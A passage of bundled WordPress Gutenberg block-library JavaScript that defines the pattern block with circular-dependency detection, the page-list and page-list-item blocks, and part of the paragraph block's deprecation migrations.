  var import_core_data51 = __toESM(require_core_data(), 1);
  var import_i18n149 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/pattern/recursion-detector.mjs
  var import_data90 = __toESM(require_data(), 1);
  var cachedParsers = /* @__PURE__ */ new WeakMap();
  function useParsePatternDependencies() {
    const registry = (0, import_data90.useRegistry)();
    if (!cachedParsers.has(registry)) {
      const deps = /* @__PURE__ */ new Map();
      cachedParsers.set(
        registry,
        parsePatternDependencies.bind(null, deps)
      );
    }
    return cachedParsers.get(registry);
  }
  function parsePatternDependencies(deps, { name: name123, blocks }) {
    const queue = [...blocks];
    while (queue.length) {
      const block = queue.shift();
      for (const innerBlock of block.innerBlocks ?? []) {
        queue.unshift(innerBlock);
      }
      if (block.name === "core/pattern") {
        registerDependency(deps, name123, block.attributes.slug);
      }
    }
  }
  function registerDependency(deps, a2, b2) {
    if (!deps.has(a2)) {
      deps.set(a2, /* @__PURE__ */ new Set());
    }
    deps.get(a2).add(b2);
    if (hasCycle(deps, a2)) {
      throw new TypeError(
        `Pattern ${a2} has a circular dependency and cannot be rendered.`
      );
    }
  }
  function hasCycle(deps, slug, visitedNodes = /* @__PURE__ */ new Set(), currentPath = /* @__PURE__ */ new Set()) {
    visitedNodes.add(slug);
    currentPath.add(slug);
    const dependencies = deps.get(slug) ?? /* @__PURE__ */ new Set();
    for (const dependency of dependencies) {
      if (!visitedNodes.has(dependency)) {
        if (hasCycle(deps, dependency, visitedNodes, currentPath)) {
          return true;
        }
      } else if (currentPath.has(dependency)) {
        return true;
      }
    }
    currentPath.delete(slug);
    return false;
  }

  // packages/block-library/build-module/pattern/edit.mjs
  var import_jsx_runtime345 = __toESM(require_jsx_runtime(), 1);
  var PatternEdit = ({ attributes: attributes2, clientId }) => {
    const registry = (0, import_data91.useRegistry)();
    const selectedPattern = (0, import_data91.useSelect)(
      (select9) => select9(import_block_editor167.store).__experimentalGetParsedPattern(
        attributes2.slug
      ),
      [attributes2.slug]
    );
    const currentThemeStylesheet = (0, import_data91.useSelect)(
      (select9) => select9(import_core_data51.store).getCurrentTheme()?.stylesheet,
      []
    );
    const {
      replaceBlocks,
      setBlockEditingMode,
      __unstableMarkNextChangeAsNotPersistent
    } = (0, import_data91.useDispatch)(import_block_editor167.store);
    const { getBlockRootClientId, getBlockEditingMode } = (0, import_data91.useSelect)(import_block_editor167.store);
    const [hasRecursionError, setHasRecursionError] = (0, import_element84.useState)(false);
    const parsePatternDependencies2 = useParsePatternDependencies();
    function injectThemeAttributeInBlockTemplateContent(block) {
      if (block.innerBlocks.find(
        (innerBlock) => innerBlock.name === "core/template-part"
      )) {
        block.innerBlocks = block.innerBlocks.map((innerBlock) => {
          if (innerBlock.name === "core/template-part" && innerBlock.attributes.theme === void 0) {
            innerBlock.attributes.theme = currentThemeStylesheet;
          }
          return innerBlock;
        });
      }
      if (block.name === "core/template-part" && block.attributes.theme === void 0) {
        block.attributes.theme = currentThemeStylesheet;
      }
      return block;
    }
    (0, import_element84.useEffect)(() => {
      if (!hasRecursionError && selectedPattern?.blocks) {
        try {
          parsePatternDependencies2(selectedPattern);
        } catch (error) {
          setHasRecursionError(true);
          return;
        }
        window.queueMicrotask(() => {
          const rootClientId = getBlockRootClientId(clientId);
          const clonedBlocks = selectedPattern.blocks.map(
            (block) => (0, import_blocks70.cloneBlock)(
              injectThemeAttributeInBlockTemplateContent(block)
            )
          );
          if (clonedBlocks.length === 1 && selectedPattern.categories?.length > 0) {
            clonedBlocks[0].attributes = {
              ...clonedBlocks[0].attributes,
              metadata: {
                ...clonedBlocks[0].attributes.metadata,
                categories: selectedPattern.categories,
                patternName: selectedPattern.name,
                name: clonedBlocks[0].attributes.metadata.name || selectedPattern.title
              }
            };
          }
          const rootEditingMode = getBlockEditingMode(rootClientId);
          registry.batch(() => {
            __unstableMarkNextChangeAsNotPersistent();
            setBlockEditingMode(rootClientId, "default");
            __unstableMarkNextChangeAsNotPersistent();
            replaceBlocks(clientId, clonedBlocks);
            __unstableMarkNextChangeAsNotPersistent();
            setBlockEditingMode(rootClientId, rootEditingMode);
          });
        });
      }
    }, [
      clientId,
      hasRecursionError,
      selectedPattern,
      __unstableMarkNextChangeAsNotPersistent,
      replaceBlocks,
      getBlockEditingMode,
      setBlockEditingMode,
      getBlockRootClientId
    ]);
    const props = (0, import_block_editor167.useBlockProps)();
    if (hasRecursionError) {
      return /* @__PURE__ */ (0, import_jsx_runtime345.jsx)("div", { ...props, children: /* @__PURE__ */ (0, import_jsx_runtime345.jsx)(import_block_editor167.Warning, { children: (0, import_i18n149.sprintf)(
        // translators: A warning in which %s is the name of a pattern.
        (0, import_i18n149.__)('Pattern "%s" cannot be rendered inside itself.'),
        selectedPattern?.name
      ) }) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime345.jsx)("div", { ...props });
  };
  var edit_default21 = PatternEdit;

  // packages/block-library/build-module/pattern/index.mjs
  var { name: name59 } = block_default59;
  var settings59 = {
    edit: edit_default21
  };
  var init59 = () => initBlock({ name: name59, metadata: block_default59, settings: settings59 });

  // packages/block-library/build-module/page-list/index.mjs
  var page_list_exports = {};
  __export(page_list_exports, {
    init: () => init60,
    metadata: () => block_default60,
    name: () => name60,
    settings: () => settings60
  });

  // packages/block-library/build-module/page-list/block.json
  var block_default60 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/page-list",
    title: "Page List",
    category: "widgets",
    allowedBlocks: ["core/page-list-item"],
    description: "Display a list of all pages.",
    keywords: ["menu", "navigation"],
    textdomain: "default",
    attributes: {
      parentPageID: {
        type: "integer",
        default: 0
      }
    },
    usesContext: [
      "textColor",
      "customTextColor",
      "backgroundColor",
      "customBackgroundColor",
      "overlayTextColor",
      "customOverlayTextColor",
      "overlayBackgroundColor",
      "customOverlayBackgroundColor",
      "fontSize",
      "customFontSize",
      "showSubmenuIcon",
      "style",
      "openSubmenusOnClick",
      "submenuVisibility",
      "core/isInsideSubmenu"
    ],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      color: {
        text: true,
        background: true,
        link: true,
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      },
      spacing: {
        padding: true,
        margin: true,
        __experimentalDefaultControls: {
          padding: false,
          margin: false
        }
      },
      contentRole: true
    },
    editorStyle: "wp-block-page-list-editor",
    style: "wp-block-page-list"
  };

  // packages/block-library/build-module/page-list/edit.mjs
  var import_blocks72 = __toESM(require_blocks(), 1);
  var import_block_editor169 = __toESM(require_block_editor(), 1);
  var import_components99 = __toESM(require_components(), 1);
  var import_i18n151 = __toESM(require_i18n(), 1);
  var import_element85 = __toESM(require_element(), 1);
  var import_core_data52 = __toESM(require_core_data(), 1);
  var import_data93 = __toESM(require_data(), 1);

  // packages/block-library/build-module/page-list/use-convert-to-navigation-links.mjs
  var import_blocks71 = __toESM(require_blocks(), 1);
  var import_data92 = __toESM(require_data(), 1);
  var import_block_editor168 = __toESM(require_block_editor(), 1);
  function createNavigationLinks(pages = []) {
    const POST_TYPE_KIND = "post-type";
    const linkMap = {};
    const navigationLinks = [];
    pages.forEach(({ id, title, link: url, type, parent }) => {
      const innerBlocks = linkMap[id]?.innerBlocks ?? [];
      linkMap[id] = (0, import_blocks71.createBlock)(
        "core/navigation-link",
        {
          id,
          label: title.rendered,
          url,
          type,
          kind: POST_TYPE_KIND,
          metadata: {
            bindings: buildNavigationLinkEntityBinding(POST_TYPE_KIND)
          }
        },
        innerBlocks
      );
      if (!parent) {
        navigationLinks.push(linkMap[id]);
      } else {
        if (!linkMap[parent]) {
          linkMap[parent] = { innerBlocks: [] };
        }
        const parentLinkInnerBlocks = linkMap[parent].innerBlocks;
        parentLinkInnerBlocks.push(linkMap[id]);
      }
    });
    return navigationLinks;
  }
  function findNavigationLinkById(navigationLinks, id) {
    for (const navigationLink of navigationLinks) {
      if (navigationLink.attributes.id === id) {
        return navigationLink;
      }
      if (navigationLink.innerBlocks && navigationLink.innerBlocks.length) {
        const foundNavigationLink = findNavigationLinkById(
          navigationLink.innerBlocks,
          id
        );
        if (foundNavigationLink) {
          return foundNavigationLink;
        }
      }
    }
    return null;
  }
  function convertToNavigationLinks(pages = [], parentPageID = null) {
    let navigationLinks = createNavigationLinks(pages);
    if (parentPageID) {
      const parentPage = findNavigationLinkById(
        navigationLinks,
        parentPageID
      );
      if (parentPage && parentPage.innerBlocks) {
        navigationLinks = parentPage.innerBlocks;
      }
    }
    const transformSubmenus = (listOfLinks) => {
      listOfLinks.forEach((block, index, listOfLinksArray) => {
        const { attributes: attributes2, innerBlocks } = block;
        if (innerBlocks.length !== 0) {
          transformSubmenus(innerBlocks);
          const transformedBlock = (0, import_blocks71.createBlock)(
            "core/navigation-submenu",
            attributes2,
            innerBlocks
          );
          listOfLinksArray[index] = transformedBlock;
        }
      });
    };
    transformSubmenus(navigationLinks);
    return navigationLinks;
  }
  function useConvertToNavigationLinks({
    clientId,
    pages,
    parentClientId,
    parentPageID
  }) {
    const { replaceBlock, selectBlock } = (0, import_data92.useDispatch)(import_block_editor168.store);
    return () => {
      const navigationLinks = convertToNavigationLinks(pages, parentPageID);
      replaceBlock(clientId, navigationLinks);
      selectBlock(parentClientId);
    };
  }

  // packages/block-library/build-module/page-list/convert-to-links-modal.mjs
  var import_components98 = __toESM(require_components(), 1);
  var import_compose39 = __toESM(require_compose(), 1);
  var import_i18n150 = __toESM(require_i18n(), 1);
  var import_jsx_runtime346 = __toESM(require_jsx_runtime(), 1);
  var convertDescription = (0, import_i18n150.__)(
    "This Navigation Menu displays your website's pages. Editing it will enable you to add, delete, or reorder pages. However, new pages will no longer be added automatically."
  );
  function ConvertToLinksModal({ onClick, onClose, disabled }) {
    return /* @__PURE__ */ (0, import_jsx_runtime346.jsxs)(
      import_components98.Modal,
      {
        onRequestClose: onClose,
        title: (0, import_i18n150.__)("Edit Page List"),
        className: "wp-block-page-list-modal",
        aria: {
          describedby: (0, import_compose39.useInstanceId)(
            ConvertToLinksModal,
            "wp-block-page-list-modal__description"
          )
        },
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime346.jsx)(
            "p",
            {
              id: (0, import_compose39.useInstanceId)(
                ConvertToLinksModal,
                "wp-block-page-list-modal__description"
              ),
              children: convertDescription
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime346.jsxs)("div", { className: "wp-block-page-list-modal-buttons", children: [
            /* @__PURE__ */ (0, import_jsx_runtime346.jsx)(
              import_components98.Button,
              {
                __next40pxDefaultSize: true,
                variant: "tertiary",
                onClick: onClose,
                children: (0, import_i18n150.__)("Cancel")
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime346.jsx)(
              import_components98.Button,
              {
                __next40pxDefaultSize: true,
                variant: "primary",
                accessibleWhenDisabled: true,
                disabled,
                onClick,
                children: (0, import_i18n150.__)("Edit")
              }
            )
          ] })
        ]
      }
    );
  }

  // packages/block-library/build-module/page-list/edit.mjs
  var import_jsx_runtime347 = __toESM(require_jsx_runtime(), 1);
  var MAX_PAGE_COUNT = 100;
  var NOOP = () => {
  };
  function BlockContent({
    blockProps,
    innerBlocksProps,
    hasResolvedPages,
    blockList,
    pages,
    parentPageID
  }) {
    if (!hasResolvedPages) {
      return /* @__PURE__ */ (0, import_jsx_runtime347.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime347.jsx)("div", { className: "wp-block-page-list__loading-indicator-container", children: /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(import_components99.Spinner, { className: "wp-block-page-list__loading-indicator" }) }) });
    }
    if (pages === null) {
      return /* @__PURE__ */ (0, import_jsx_runtime347.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(import_components99.Notice, { status: "warning", isDismissible: false, children: (0, import_i18n151.__)("Page List: Cannot retrieve Pages.") }) });
    }
    if (pages.length === 0) {
      return /* @__PURE__ */ (0, import_jsx_runtime347.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(import_components99.Notice, { status: "info", isDismissible: false, children: (0, import_i18n151.__)("Page List: Cannot retrieve Pages.") }) });
    }
    if (blockList.length === 0) {
      const parentPageDetails = pages.find(
        (page) => page.id === parentPageID
      );
      if (parentPageDetails?.title?.rendered) {
        return /* @__PURE__ */ (0, import_jsx_runtime347.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(import_block_editor169.Warning, { children: (0, import_i18n151.sprintf)(
          // translators: %s: Page title.
          (0, import_i18n151.__)('Page List: "%s" page has no children.'),
          parentPageDetails.title.rendered
        ) }) });
      }
      return /* @__PURE__ */ (0, import_jsx_runtime347.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(import_components99.Notice, { status: "warning", isDismissible: false, children: (0, import_i18n151.__)("Page List: Cannot retrieve Pages.") }) });
    }
    if (pages.length > 0) {
      return /* @__PURE__ */ (0, import_jsx_runtime347.jsx)("ul", { ...innerBlocksProps });
    }
  }
  function PageListEdit({
    context,
    clientId,
    attributes: attributes2,
    setAttributes
  }) {
    const { parentPageID } = attributes2;
    const [isOpen, setOpen] = (0, import_element85.useState)(false);
    const openModal = (0, import_element85.useCallback)(() => setOpen(true), []);
    const closeModal = () => setOpen(false);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const { records: pages, hasResolved: hasResolvedPages } = (0, import_core_data52.useEntityRecords)(
      "postType",
      "page",
      {
        per_page: MAX_PAGE_COUNT,
        _fields: ["id", "link", "menu_order", "parent", "title", "type"],
        // TODO: When https://core.trac.wordpress.org/ticket/39037 REST API support for multiple orderby
        // values is resolved, update 'orderby' to [ 'menu_order', 'post_title' ] to provide a consistent
        // sort.
        orderby: "menu_order",
        order: "asc"
      }
    );
    const allowConvertToLinks = "showSubmenuIcon" in context && pages?.length > 0 && pages?.length <= MAX_PAGE_COUNT;
    const pagesByParentId = (0, import_element85.useMemo)(() => {
      if (pages === null) {
        return /* @__PURE__ */ new Map();
      }
      const sortedPages = pages.sort((a2, b2) => {
        if (a2.menu_order === b2.menu_order) {
          return a2.title.rendered.localeCompare(b2.title.rendered);
        }
        return a2.menu_order - b2.menu_order;
      });
      return sortedPages.reduce((accumulator, page) => {
        const { parent } = page;
        if (accumulator.has(parent)) {
          accumulator.get(parent).push(page);
        } else {
          accumulator.set(parent, [page]);
        }
        return accumulator;
      }, /* @__PURE__ */ new Map());
    }, [pages]);
    const blockProps = (0, import_block_editor169.useBlockProps)({
      className: clsx_default("wp-block-page-list", {
        "has-text-color": !!context.textColor,
        [(0, import_block_editor169.getColorClassName)("color", context.textColor)]: !!context.textColor,
        "has-background": !!context.backgroundColor,
        [(0, import_block_editor169.getColorClassName)(
          "background-color",
          context.backgroundColor
        )]: !!context.backgroundColor,
        "open-on-click": context.submenuVisibility === "click",
        "open-always": context.submenuVisibility === "always"
      }),
      style: { ...context.style?.color }
    });
    const pagesTree = (0, import_element85.useMemo)(
      function makePagesTree(parentId = 0, level = 0) {
        const childPages = pagesByParentId.get(parentId);
        if (!childPages?.length) {
          return [];
        }
        return childPages.reduce((tree, page) => {
          const hasChildren = pagesByParentId.has(page.id);
          const item = {
            value: page.id,
            label: "\u2014 ".repeat(level) + page.title.rendered,
            rawName: page.title.rendered
          };
          tree.push(item);
          if (hasChildren) {
            tree.push(...makePagesTree(page.id, level + 1));
          }
          return tree;
        }, []);
      },
      [pagesByParentId]
    );
    const blockList = (0, import_element85.useMemo)(
      function getBlockList(parentId = parentPageID) {
        const childPages = pagesByParentId.get(parentId);
        if (!childPages?.length) {
          return [];
        }
        return childPages.reduce((template, page) => {
          const hasChildren = pagesByParentId.has(page.id);
          const pageProps = {
            id: page.id,
            label: (
              // translators: displayed when a page has an empty title.
              page.title?.rendered?.trim() !== "" ? page.title?.rendered : (0, import_i18n151.__)("(no title)")
            ),
            title: (
              // translators: displayed when a page has an empty title.
              page.title?.rendered?.trim() !== "" ? page.title?.rendered : (0, import_i18n151.__)("(no title)")
            ),
            link: page.url,
            hasChildren
          };
          let item = null;
          const children = getBlockList(page.id);
          item = (0, import_blocks72.createBlock)(
            "core/page-list-item",
            pageProps,
            children
          );
          template.push(item);
          return template;
        }, []);
      },
      [pagesByParentId, parentPageID]
    );
    const {
      hasSelectedChild,
      parentClientId,
      hasDraggedChild,
      isChildOfNavigation
    } = (0, import_data93.useSelect)(
      (select9) => {
        const {
          getBlockParentsByBlockName,
          hasSelectedInnerBlock,
          hasDraggedInnerBlock
        } = select9(import_block_editor169.store);
        const navigationBlockParents = getBlockParentsByBlockName(
          clientId,
          "core/navigation",
          true
        );
        return {
          isChildOfNavigation: navigationBlockParents.length > 0,
          hasSelectedChild: hasSelectedInnerBlock(clientId, true),
          hasDraggedChild: hasDraggedInnerBlock(clientId, true),
          parentClientId: navigationBlockParents[0]
        };
      },
      [clientId]
    );
    const convertToNavigationLinks2 = useConvertToNavigationLinks({
      clientId,
      pages,
      parentClientId,
      parentPageID
    });
    const innerBlocksProps = (0, import_block_editor169.useInnerBlocksProps)(blockProps, {
      renderAppender: false,
      __unstableDisableDropZone: true,
      templateLock: isChildOfNavigation ? false : "all",
      onInput: NOOP,
      onChange: NOOP,
      value: blockList
    });
    const { selectBlock } = (0, import_data93.useDispatch)(import_block_editor169.store);
    (0, import_element85.useEffect)(() => {
      if (hasSelectedChild || hasDraggedChild) {
        openModal();
        selectBlock(parentClientId);
      }
    }, [
      hasSelectedChild,
      hasDraggedChild,
      parentClientId,
      selectBlock,
      openModal
    ]);
    return /* @__PURE__ */ (0, import_jsx_runtime347.jsxs)(import_jsx_runtime347.Fragment, { children: [
      (pagesTree.length > 0 || allowConvertToLinks) && /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(import_block_editor169.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime347.jsxs)(
        import_components99.__experimentalToolsPanel,
        {
          label: (0, import_i18n151.__)("Settings"),
          resetAll: () => {
            setAttributes({ parentPageID: 0 });
          },
          dropdownMenuProps,
          children: [
            pagesTree.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(
              import_components99.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n151.__)("Parent Page"),
                hasValue: () => parentPageID !== 0,
                onDeselect: () => setAttributes({ parentPageID: 0 }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(
                  import_components99.ComboboxControl,
                  {
                    __next40pxDefaultSize: true,
                    className: "editor-page-attributes__parent",
                    label: (0, import_i18n151.__)("Parent"),
                    value: parentPageID,
                    options: pagesTree,
                    onChange: (value) => setAttributes({
                      parentPageID: value ?? 0
                    }),
                    help: (0, import_i18n151.__)(
                      "Choose a page to show only its subpages."
                    )
                  }
                )
              }
            ),
            allowConvertToLinks && /* @__PURE__ */ (0, import_jsx_runtime347.jsxs)("div", { style: { gridColumn: "1 / -1" }, children: [
              /* @__PURE__ */ (0, import_jsx_runtime347.jsx)("p", { children: convertDescription }),
              /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(
                import_components99.Button,
                {
                  __next40pxDefaultSize: true,
                  variant: "primary",
                  accessibleWhenDisabled: true,
                  disabled: !hasResolvedPages,
                  onClick: convertToNavigationLinks2,
                  children: (0, import_i18n151.__)("Edit")
                }
              )
            ] })
          ]
        }
      ) }),
      allowConvertToLinks && /* @__PURE__ */ (0, import_jsx_runtime347.jsxs)(import_jsx_runtime347.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(import_block_editor169.BlockControls, { group: "other", children: /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(
          import_components99.ToolbarButton,
          {
            title: (0, import_i18n151.__)("Edit"),
            onClick: openModal,
            children: (0, import_i18n151.__)("Edit")
          }
        ) }),
        isOpen && /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(
          ConvertToLinksModal,
          {
            onClick: convertToNavigationLinks2,
            onClose: closeModal,
            disabled: !hasResolvedPages
          }
        )
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime347.jsx)(
        BlockContent,
        {
          blockProps,
          innerBlocksProps,
          hasResolvedPages,
          blockList,
          pages,
          parentPageID
        }
      )
    ] });
  }

  // packages/block-library/build-module/page-list/index.mjs
  var { name: name60 } = block_default60;
  var settings60 = {
    icon: pages_default,
    example: {},
    edit: PageListEdit
  };
  var init60 = () => initBlock({ name: name60, metadata: block_default60, settings: settings60 });

  // packages/block-library/build-module/page-list-item/index.mjs
  var page_list_item_exports = {};
  __export(page_list_item_exports, {
    init: () => init61,
    metadata: () => block_default61,
    name: () => name61,
    settings: () => settings61
  });

  // packages/block-library/build-module/page-list-item/block.json
  var block_default61 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/page-list-item",
    title: "Page List Item",
    category: "widgets",
    parent: ["core/page-list"],
    description: "Displays a page inside a list of all pages.",
    keywords: ["page", "menu", "navigation"],
    textdomain: "default",
    attributes: {
      id: {
        type: "number"
      },
      label: {
        type: "string"
      },
      title: {
        type: "string"
      },
      link: {
        type: "string"
      },
      hasChildren: {
        type: "boolean"
      }
    },
    usesContext: [
      "textColor",
      "customTextColor",
      "backgroundColor",
      "customBackgroundColor",
      "overlayTextColor",
      "customOverlayTextColor",
      "overlayBackgroundColor",
      "customOverlayBackgroundColor",
      "fontSize",
      "customFontSize",
      "showSubmenuIcon",
      "style",
      "openSubmenusOnClick",
      "submenuVisibility"
    ],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      lock: false,
      inserter: false,
      __experimentalToolbar: false,
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: "wp-block-page-list-editor",
    style: "wp-block-page-list"
  };

  // packages/block-library/build-module/page-list-item/edit.mjs
  var import_block_editor170 = __toESM(require_block_editor(), 1);
  var import_data94 = __toESM(require_data(), 1);
  var import_core_data53 = __toESM(require_core_data(), 1);
  var import_dom8 = __toESM(require_dom(), 1);

  // packages/block-library/build-module/navigation-link/icons.mjs
  var import_components100 = __toESM(require_components(), 1);
  var import_jsx_runtime348 = __toESM(require_jsx_runtime(), 1);
  var ItemSubmenuIcon2 = () => /* @__PURE__ */ (0, import_jsx_runtime348.jsx)(
    import_components100.SVG,
    {
      xmlns: "http://www.w3.org/2000/svg",
      width: "12",
      height: "12",
      viewBox: "0 0 12 12",
      fill: "none",
      children: /* @__PURE__ */ (0, import_jsx_runtime348.jsx)(import_components100.Path, { d: "M1.50002 4L6.00002 8L10.5 4", strokeWidth: "1.5" })
    }
  );

  // packages/block-library/build-module/page-list-item/edit.mjs
  var import_jsx_runtime349 = __toESM(require_jsx_runtime(), 1);
  function useFrontPageId() {
    return (0, import_data94.useSelect)((select9) => {
      const canReadSettings = select9(import_core_data53.store).canUser("read", {
        kind: "root",
        name: "site"
      });
      if (!canReadSettings) {
        return void 0;
      }
      const site = select9(import_core_data53.store).getEntityRecord("root", "site");
      return site?.show_on_front === "page" && site?.page_on_front;
    }, []);
  }
  function PageListItemEdit({ context, attributes: attributes2 }) {
    const { id, label, link, hasChildren, title } = attributes2;
    const isNavigationChild = "showSubmenuIcon" in context;
    const frontPageId = useFrontPageId();
    const submenuVisibility = context.submenuVisibility;
    const openOnClick = submenuVisibility === "click";
    const innerBlocksColors = getColors(context, true);
    const navigationChildBlockProps = getNavigationChildBlockProps(innerBlocksColors);
    const blockProps = (0, import_block_editor170.useBlockProps)(navigationChildBlockProps, {
      className: "wp-block-pages-list__item"
    });
    const innerBlocksProps = (0, import_block_editor170.useInnerBlocksProps)(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime349.jsxs)(
      "li",
      {
        className: clsx_default("wp-block-pages-list__item", {
          "has-child": hasChildren,
          "wp-block-navigation-item": isNavigationChild,
          // Class assignment logic matches PHP rendering in page-list/index.php
          "open-on-click": openOnClick,
          "open-always": submenuVisibility === "always",
          // Must check hover mode explicitly to match PHP elseif structure (index.php:212)
          "open-on-hover-click": submenuVisibility === "hover" && context.showSubmenuIcon,
          "menu-item-home": id === frontPageId
        }),
        children: [
          hasChildren && openOnClick ? /* @__PURE__ */ (0, import_jsx_runtime349.jsxs)(import_jsx_runtime349.Fragment, { children: [
            /* @__PURE__ */ (0, import_jsx_runtime349.jsx)(
              "button",
              {
                type: "button",
                className: "wp-block-navigation-item__content wp-block-navigation-submenu__toggle",
                "aria-expanded": "false",
                dangerouslySetInnerHTML: {
                  __html: (0, import_dom8.safeHTML)(label)
                }
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime349.jsx)("span", { className: "wp-block-page-list__submenu-icon wp-block-navigation__submenu-icon", children: /* @__PURE__ */ (0, import_jsx_runtime349.jsx)(ItemSubmenuIcon2, {}) })
          ] }) : /* @__PURE__ */ (0, import_jsx_runtime349.jsx)(
            "a",
            {
              className: clsx_default("wp-block-pages-list__item__link", {
                "wp-block-navigation-item__content": isNavigationChild
              }),
              href: link,
              dangerouslySetInnerHTML: {
                __html: (0, import_dom8.safeHTML)(title)
              }
            }
          ),
          hasChildren && /* @__PURE__ */ (0, import_jsx_runtime349.jsxs)(import_jsx_runtime349.Fragment, { children: [
            !openOnClick && context.showSubmenuIcon && /* @__PURE__ */ (0, import_jsx_runtime349.jsx)(
              "button",
              {
                className: "wp-block-navigation-item__content wp-block-navigation-submenu__toggle wp-block-page-list__submenu-icon wp-block-navigation__submenu-icon",
                "aria-expanded": "false",
                type: "button",
                children: /* @__PURE__ */ (0, import_jsx_runtime349.jsx)(ItemSubmenuIcon2, {})
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime349.jsx)("ul", { ...innerBlocksProps })
          ] })
        ]
      },
      id
    );
  }

  // packages/block-library/build-module/page-list-item/index.mjs
  var { name: name61 } = block_default61;
  var settings61 = {
    __experimentalLabel: ({ label }) => label,
    icon: page_default,
    example: {},
    edit: PageListItemEdit
  };
  var init61 = () => initBlock({ name: name61, metadata: block_default61, settings: settings61 });

  // packages/block-library/build-module/paragraph/index.mjs
  var paragraph_exports = {};
  __export(paragraph_exports, {
    init: () => init62,
    metadata: () => block_default62,
    name: () => name63,
    settings: () => settings62
  });
  var import_i18n155 = __toESM(require_i18n(), 1);
  var import_blocks76 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/paragraph/deprecated.mjs
  var import_element86 = __toESM(require_element(), 1);
  var import_block_editor171 = __toESM(require_block_editor(), 1);
  var import_i18n152 = __toESM(require_i18n(), 1);
  var import_jsx_runtime350 = __toESM(require_jsx_runtime(), 1);
  var supports = {
    className: false
  };
  var blockAttributes5 = {
    align: {
      type: "string"
    },
    content: {
      type: "string",
      source: "html",
      selector: "p",
      default: ""
    },
    dropCap: {
      type: "boolean",
      default: false
    },
    placeholder: {
      type: "string"
    },
    textColor: {
      type: "string"
    },
    backgroundColor: {
      type: "string"
    },
    fontSize: {
      type: "string"
    },
    direction: {
      type: "string",
      enum: ["ltr", "rtl"]
    },
    style: {
      type: "object"
    }
  };
  var migrateCustomColorsAndFontSizes = (attributes2) => {
    if (!attributes2.customTextColor && !attributes2.customBackgroundColor && !attributes2.customFontSize) {
      return attributes2;
    }
    const style2 = {};
    if (attributes2.customTextColor || attributes2.customBackgroundColor) {
      style2.color = {};
    }
    if (attributes2.customTextColor) {
      style2.color.text = attributes2.customTextColor;
    }
    if (attributes2.customBackgroundColor) {
      style2.color.background = attributes2.customBackgroundColor;
    }
    if (attributes2.customFontSize) {
      style2.typography = { fontSize: attributes2.customFontSize };
    }
    const {
      customTextColor,
      customBackgroundColor,
      customFontSize,
      ...restAttributes
    } = attributes2;
    return {
      ...restAttributes,
      style: style2
    };
  };
  var migrateTextAlign2 = (attributes2) => {
    const { align, ...restAttributes } = attributes2;
    if (!align) {
      return attributes2;
    }
    return {
      ...restAttributes,
      style: {
        ...attributes2.style,
        typography: {
          ...attributes2.style?.typography,
          textAlign: align
        }
      }
    };
  };
  var { style, ...restBlockAttributes } = blockAttributes5;
  var deprecated12 = [
    // Version with `align` attribute.
    {
      supports: {
        className: false,
        typography: {
          fontSize: true
        }
      },
      attributes: blockAttributes5,
      isEligible(attributes2) {
        return !!attributes2.align || !!attributes2.className?.match(
          /\bhas-text-align-(left|center|right)\b/
        );
      },
      save({ attributes: attributes2 }) {
        const { align, content, dropCap, direction } = attributes2;
        const className = clsx_default({
          "has-drop-cap": align === ((0, import_i18n152.isRTL)() ? "left" : "right") || align === "center" ? false : dropCap,
          [`has-text-align-${align}`]: align
        });
        return /* @__PURE__ */ (0, import_jsx_runtime350.jsx)("p", { ...import_block_editor171.useBlockProps.save({ className, dir: direction }), children: /* @__PURE__ */ (0, import_jsx_runtime350.jsx)(import_block_editor171.RichText.Content, { value: content }) });
      },
      migrate: migrateTextAlign2
    },
    // Version without drop cap on aligned text.
    {
      supports,
      attributes: {
        ...restBlockAttributes,
        customTextColor: {
          type: "string"
        },
        customBackgroundColor: {
          type: "string"
        },
        customFontSize: {
          type: "number"
        }
      },
      migrate: migrateTextAlign2,
      save({ attributes: attributes2 }) {
        const { align, content, dropCap, direction } = attributes2;
        const className = clsx_default({
          "has-drop-cap": align === ((0, import_i18n152.isRTL)() ? "left" : "right") || align === "center" ? false : dropCap,
          [`has-text-align-${align}`]: align
        });
